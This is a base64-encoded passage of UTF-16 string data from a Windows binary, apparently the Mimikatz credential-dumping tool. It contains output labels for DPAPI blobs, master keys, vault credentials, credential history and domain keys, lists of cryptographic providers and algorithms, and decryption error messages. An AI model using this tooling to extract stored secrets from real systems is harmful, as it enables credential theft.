AUAAAAFgAAABcAAAAcAAAAHgAAACAAAAAoAAAAKgAAACkAAAAsAAAAKAAAAAYAAAADAAAABgAAAAoAAAASAAAADAAAACo0AUQ2NAFEPjQBRAOAA8AINQFEAcACAAY1AUQ6BsGEBQcBhDEHAYQtB0GEAAAAAAlACoAcwAqACoAQwBSAEUARABFAE4AVABJAEEATAAqACoACgAAAAAAJQAqAHMAIAAgAGMAcgBlAGQARgBsAGEAZwBzACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGMAcgBlAGQAUwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGMAcgBlAGQAVQBuAGsAMAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAoAAAAAAAAAJQAqAHMAIAAgAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAOgAgAAAAAAAKAAAAJQAqAHMAIAAgAHUAbgBrAEYAbABhAGcAcwBPAHIAUwBpAHoAZQAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAFAAZQByAHMAaQBzAHQAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAEMAbwB1AG4AdAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAVABhAHIAZwBlAHQATgBhAG0AZQAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFQAYQByAGcAZQB0AEEAbABpAGEAcwAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABDAG8AbQBtAGUAbgB0ACAAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAVQBuAGsARABhAHQAYQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAJQAqAHMAIAAgAFUAcwBlAHIATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAACUAKgBzACAAIABDAHIAZQBkAGUAbgB0AGkAYQBsAEIAbABvAGIAIAA6ACAAAAAAACUAdwBaAAAAJQAqAHMAIAAgAEEAdAB0AHIAaQBiAHUAdABlAHMAIAAgACAAIAAgADoAIAAAAAAAJQB1ACAAYQB0AHQAcgBpAGIAdQB0AGUAcwAoAHMAKQAKAAAAJQAqAHMAKgAqAEEAVABUAFIASQBCAFUAVABFACoAKgAKAAAAJQAqAHMAIAAgAEYAbABhAGcAcwAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABLAGUAeQB3AG8AcgBkACAAOgAgACUAcwAKAAAAAAAlACoAcwAgACAAVgBhAGwAdQBlACAAOgAgAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAFAATwBMAEkAQwBZACoAKgAKAAAAAAAlACoAcwAgACAAdgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAIAAgAHYAYQB1AGwAdAAgACAAIAA6ACAAAAAlACoAcwAgACAATgBhAG0AZQAgACAAIAAgADoAIAAlAHMACgAAAAAAJQAqAHMAIAAgAHUAbgBrADAALwAxAC8AMgA6ACAAJQAwADgAeAAvACUAMAA4AHgALwAlADAAOAB4AAoAAAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABQAE8ATABJAEMAWQAgAEsARQBZACoAKgAKAAAAAAAlACoAcwAgACAAdQBuAGsAMAAgACAAOgAgAAAAJQAqAHMAIAAgAHUAbgBrADEAIAAgADoAIAAAACUAKgBzACoAKgBWAEEAVQBMAFQAIABDAFIARQBEAEUATgBUAEkAQQBMACoAKgAKAAAAAAAlACoAcwAgACAAUwBjAGgAZQBtAGEASQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIAB1AG4AawAwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAlACoAcwAgACAAdQBuAGsAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIAB1AG4AawAyACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAARgByAGkAZQBuAGQAbAB5AE4AYQBtAGUAIAAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQQB0AHQAcgBpAGIAdQB0AGUAcwBNAGEAcABTAGkAegBlACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgACoAIABBAHQAdAByAGkAYgB1AHQAZQAgACUAMwB1ACAAQAAgAG8AZgBmAHMAZQB0ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAgACgAdQBuAGsAIAAlADAAOAB4ACAALQAgACUAdQApAAoAAAAAAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAEMAUgBFAEQARQBOAFQASQBBAEwAIABBAFQAVABSAEkAQgBVAFQARQAqACoACgAAAAAAJQAqAHMAIAAgAGkAZAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABJAFYAIAAgACAAIAAgACAAOgAgAAAAJQAqAHMAIAAgAEQAYQB0AGEAIAAgACAAIAA6ACAAAAAAAAAAJQAqAHMAKgAqAFYAQQBVAEwAVAAgAEMAUgBFAEQARQBOAFQASQBBAEwAIABDAEwARQBBAFIAIABBAFQAVABSAEkAQgBVAFQARQBTACoAKgAKAAAAJQAqAHMAIAAgAHYAZQByAHMAaQBvAG4AOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABjAG8AdQBuAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAdQBuAGsAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgACoAIAAAAHIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAA6ACAAAAAAAGkAZABlAG4AdABpAHQAeQAgACAAIAAgACAAIAA6ACAAAAAAAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAIAA6ACAAAAAAAHAAcgBvAHAAZQByAHQAeQAgACUAMwB1ACAAIAA6ACAAAAAAACUAcwAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEcAUgBPAFUAUABfAFAATwBMAEkAQwBZAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8ATABPAEMAQQBMAF8ATQBBAEMASABJAE4ARQBfAEUATgBUAEUAUgBQAFIASQBTAEUAAAAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBTAEUAUgBWAEkAQwBFAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AVQBTAEUAUgBTAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AUwBFAFIAVgBJAEMARQBTAAAAAABNAFMAXwBEAEUARgBfAFAAUgBPAFYAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAgAHYAMQAuADAAAAAAAE0AUwBfAEUATgBIAEEATgBDAEUARABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAB2ADEALgAwAAAAAABNAFMAXwBTAFQAUgBPAE4ARwBfAFAAUgBPAFYAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUwB0AHIAbwBuAGcAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMASQBHAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAUgBTAEEAIABTAGkAZwBuAGEAdAB1AHIAZQAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABEAFMAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAYQBuAGQAIABEAGkAZgBmAGkAZQAtAEgAZQBsAGwAbQBhAG4AIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByAAAAAABNAFMAXwBFAE4ASABfAEQAUwBTAF8ARABIAF8AUABSAE8AVgAAAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEQARQBGAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEQASAAgAFMAQwBoAGEAbgBuAGUAbAAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAFMAQwBBAFIARABfAFAAUgBPAFYAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABTAG0AYQByAHQAIABDAGEAcgBkACAAQwByAHkAcAB0AG8AIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAF8AWABQAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABSAFMAQQAgAGEAbgBkACAAQQBFAFMAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAKABQAHIAbwB0AG8AdAB5AHAAZQApAAAATQBTAF8ARQBOAEgAXwBSAFMAQQBfAEEARQBTAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABQAFIATwBWAF8AUgBTAEEAXwBGAFUATABMAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBJAEcAAAAAAFAAUgBPAFYAXwBEAFMAUwAAAAAAUABSAE8AVgBfAEYATwBSAFQARQBaAFoAQQAAAFAAUgBPAFYAXwBNAFMAXwBFAFgAQwBIAEEATgBHAEUAAAAAAFAAUgBPAFYAXwBTAFMATAAAAAAAUABSAE8AVgBfAFIAUwBBAF8AUwBDAEgAQQBOAE4ARQBMAAAAUABSAE8AVgBfAEQAUwBTAF8ARABIAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAFMASQBHAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBEAFMAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBFAEMAXwBFAEMATgBSAEEAXwBGAFUATABMAAAAAABQAFIATwBWAF8ARABIAF8AUwBDAEgAQQBOAE4ARQBMAAAAAABQAFIATwBWAF8AUwBQAFkAUgBVAFMAXwBMAFkATgBLAFMAAABQAFIATwBWAF8AUgBOAEcAAAAAAFAAUgBPAFYAXwBJAE4AVABFAEwAXwBTAEUAQwAAAAAAUABSAE8AVgBfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAAAAUABSAE8AVgBfAFIAUwBBAF8AQQBFAFMAAAAAAEMAQQBMAEcAXwBNAEQAMgAAAAAAQwBBAEwARwBfAE0ARAA0AAAAAABDAEEATABHAF8ATQBEADUAAAAAAEMAQQBMAEcAXwBTAEgAQQAxAAAAQwBBAEwARwBfAE0AQQBDAAAAAABDAEEATABHAF8AUgBTAEEAXwBTAEkARwBOAAAAQwBBAEwARwBfAEQAUwBTAF8AUwBJAEcATgAAAEMAQQBMAEcAXwBOAE8AXwBTAEkARwBOAAAAAABDAEEATABHAF8AUgBTAEEAXwBLAEUAWQBYAAAAQwBBAEwARwBfAEQARQBTAAAAAABDAEEATABHAF8AMwBEAEUAUwBfADEAMQAyAAAAQwBBAEwARwBfADMARABFAFMAAABDAEEATABHAF8ARABFAFMAWAAAAEMAQQBMAEcAXwBSAEMAMgAAAAAAQwBBAEwARwBfAFIAQwA0AAAAAABDAEEATABHAF8AUwBFAEEATAAAAEMAQQBMAEcAXwBEAEgAXwBTAEYAAAAAAEMAQQBMAEcAXwBEAEgAXwBFAFAASABFAE0AAABDAEEATABHAF8AQQBHAFIARQBFAEQASwBFAFkAXwBBAE4AWQAAAAAAQwBBAEwARwBfAEsARQBBAF8ASwBFAFkAWAAAAEMAQQBMAEcAXwBIAFUARwBIAEUAUwBfAE0ARAA1AAAAQwBBAEwARwBfAFMASwBJAFAASgBBAEMASwAAAEMAQQBMAEcAXwBUAEUASwAAAAAAQwBBAEwARwBfAEMAWQBMAEkATgBLAF8ATQBFAEsAAABDAEEATABHAF8AUwBTAEwAMwBfAFMASABBAE0ARAA1AAAAAABDAEEATABHAF8AUwBTAEwAMwBfAE0AQQBTAFQARQBSAAAAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAFMAVABFAFIAXwBIAEEAUwBIAAAAQwBBAEwARwBfAFMAQwBIAEEATgBOAEUATABfAE0AQQBDAF8ASwBFAFkAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ARQBOAEMAXwBLAEUAWQAAAEMAQQBMAEcAXwBQAEMAVAAxAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBTAFMATAAyAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBUAEwAUwAxAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBSAEMANQAAAAAAQwBBAEwARwBfAEgATQBBAEMAAABDAEEATABHAF8AVABMAFMAMQBQAFIARgAAAAAAQwBBAEwARwBfAEgAQQBTAEgAXwBSAEUAUABMAEEAQwBFAF8ATwBXAEYAAABDAEEATABHAF8AQQBFAFMAXwAxADIAOAAAAAAAQwBBAEwARwBfAEEARQBTAF8AMQA5ADIAAAAAAEMAQQBMAEcAXwBBAEUAUwBfADIANQA2AAAAAABDAEEATABHAF8AQQBFAFMAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADIANQA2AAAAAABDAEEATABHAF8AUwBIAEEAXwAzADgANAAAAAAAQwBBAEwARwBfAFMASABBAF8ANQAxADIAAAAAAEMAQQBMAEcAXwBFAEMARABIAAAAQwBBAEwARwBfAEUAQwBNAFEAVgAAAAAAQwBBAEwARwBfAEUAQwBEAFMAQQAAAAAAQQBUAF8ASwBFAFkARQBYAEMASABBAE4ARwBFAAAAAABBAFQAXwBTAEkARwBOAEEAVABVAFIARQAAAAAAQwBOAEcAIABLAGUAeQAAAD8AAAAlACoAcwAqACoAQgBMAE8AQgAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBWAGUAcgBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABnAHUAaQBkAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABkAHcATQBhAHMAdABlAHIASwBlAHkAVgBlAHIAcwBpAG8AbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAZwB1AGkAZABNAGEAcwB0AGUAcgBLAGUAeQAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEYAbABhAGcAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcARABlAHMAYwByAGkAcAB0AGkAbwBuAEwAZQBuACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwB6AEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAlACoAcwAgACAAYQBsAGcAQwByAHkAcAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAAAAAAJQAqAHMAIAAgAGQAdwBBAGwAZwBDAHIAeQBwAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AFMAYQBsAHQATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBTAGEAbAB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBIAG0AYQBjAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIASABtAGEAYwBrAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAAAAlACoAcwAgACAAZAB3AEEAbABnAEgAYQBzAGgATABlAG4AIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcASABtAGEAYwAyAEsAZQB5AEwAZQBuACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcABiAEgAbQBhAGMAawAyAEsAZQB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAYQB0AGEATABlAG4AIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAHAAYgBEAGEAdABhACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBTAGkAZwBuAEwAZQBuACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABwAGIAUwBpAGcAbgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACgAKAAAAAAAlACoAcwAqACoATQBBAFMAVABFAFIASwBFAFkAKgAqAAoAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAlACoAcwAgACAAcwBhAGwAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUAKgBzACAAIAByAG8AdQBuAGQAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAACUAKgBzACAAIABhAGwAZwBIAGEAcwBoACAAIAAgACAAIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAJQAqAHMAIAAgAGEAbABnAEMAcgB5AHAAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUAIAAoACUAcwApAAoAAAAlACoAcwAgACAAcABiAEsAZQB5ACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEkATgBGAE8AKgAqAAoAAAAlACoAcwAgACAAZwB1AGkAZAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAEQATwBNAEEASQBOAEsARQBZACoAKgAKAAAAJQAqAHMAIAAgAGQAdwBTAGUAYwByAGUAdABMAGUAbgAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGQAdwBBAGMAYwBlAHMAcwBjAGgAZQBjAGsATABlAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAIAAgAGcAdQBpAGQATQBhAHMAdABlAHIASwBlAHkAIAAgACAAIAA6ACAAAAAAACUAKgBzACAAIABwAGIAUwBlAGMAcgBlAHQAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAlACoAcwAgACAAcABiAEEAYwBjAGUAcwBzAGMAaABlAGMAawAgACAAIAAgADoAIAAAAAAAJQAqAHMAKgAqAE0AQQBTAFQARQBSAEsARQBZAFMAKgAqAAoAAAAAAAAAAAAlACoAcwAgACAAcwB6AEcAdQBpAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAewAlAC4AMwA2AHMAfQAKAAAAAAAlACoAcwAgACAAZAB3AE0AYQBzAHQAZQByAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAAAAAACUAKgBzACAAIABkAHcAQgBhAGMAawB1AHAASwBlAHkATABlAG4AIAAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAAAAAJQAqAHMAIAAgAGQAdwBDAHIAZQBkAEgAaQBzAHQATABlAG4AIAAgACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAAAAlACoAcwAgACAAZAB3AEQAbwBtAGEAaQBuAEsAZQB5AEwAZQBuACAAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAAAAAJQAqAHMAWwBtAGEAcwB0AGUAcgBrAGUAeQBdAAoAAAAlACoAcwBbAGIAYQBjAGsAdQBwAGsAZQB5AF0ACgAAACUAKgBzAFsAYwByAGUAZABoAGkAcwB0AF0ACgAAAAAAJQAqAHMAWwBkAG8AbQBhAGkAbgBrAGUAeQBdAAoAAAAlACoAcwAqACoAQwBSAEUARABIAEkAUwBUACoAKgAKAAAAAAAlACoAcwAgACAAZAB3AFYAZQByAHMAaQBvAG4AIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABnAHUAaQBkACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABkAHcATgBlAHgAdABMAGUAbgAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAJQAqAHMAKgAqAEMAUgBFAEQASABJAFMAVAAgAEUATgBUAFIAWQAqACoACgAAAAAAJQAqAHMAIAAgAGQAdwBUAHkAcABlACAAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAAAAAAJQAqAHMAIAAgAGEAbABnAEgAYQBzAGgAIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1ACAAKAAlAHMAKQAKAAAAAAAlACoAcwAgACAAcgBvAHUAbgBkAHMAIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABzAGkAZABMAGUAbgAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAKAAAAAAAAACUAKgBzACAAIABhAGwAZwBDAHIAeQBwAHQAIAAgADoAIAAlADAAOAB4ACAALQAgACUAdQAgACgAJQBzACkACgAAAAAAJQAqAHMAIAAgAHMAaABhADEATABlAG4AIAAgACAAOgAgACUAMAA4AHgAIAAtACAAJQB1AAoAAAAlACoAcwAgACAAbQBkADQATABlAG4AIAAgACAAIAA6ACAAJQAwADgAeAAgAC0AIAAlAHUACgAAACUAKgBzACAAIABTAGEAbAB0ACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABTAGkAZAAgACAAIAAgACAAIAAgADoAIAAAACUAKgBzACAAIABwAFMAZQBjAHIAZQB0ACAAIAAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBiAGwAbwBiACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AYgBsAG8AYgAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBtAGEAcwB0AGUAcgBrAGUAeQBfAHcAaQB0AGgAXwBzAGgAYQBEAGUAcgBpAHYAZQBkAGsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBjAGwAbwBzAGUAXwBoAHAAcgBvAHYAXwBkAGUAbABlAHQAZQBfAGMAbwBuAHQAYQBpAG4AZQByACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAGQAcABhAHAAaQBfAHUAbgBwAHIAbwB0AGUAYwB0AF8AbQBhAHMAdABlAHIAawBlAHkAXwB3AGkAdABoAF8AcwBoAGEARABlAHIAaQB2AGUAZABrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABrAGUAeQBfAHMAZQBzAHMAaQBvAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AZABwAGEAcABpAF8AdQBuAHAAcgBvAHQAZQBjAHQAXwBkAG8AbQBhAGkAbgBrAGUAeQBfAHcAaQB0AGgAXwBrAGUAeQAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIA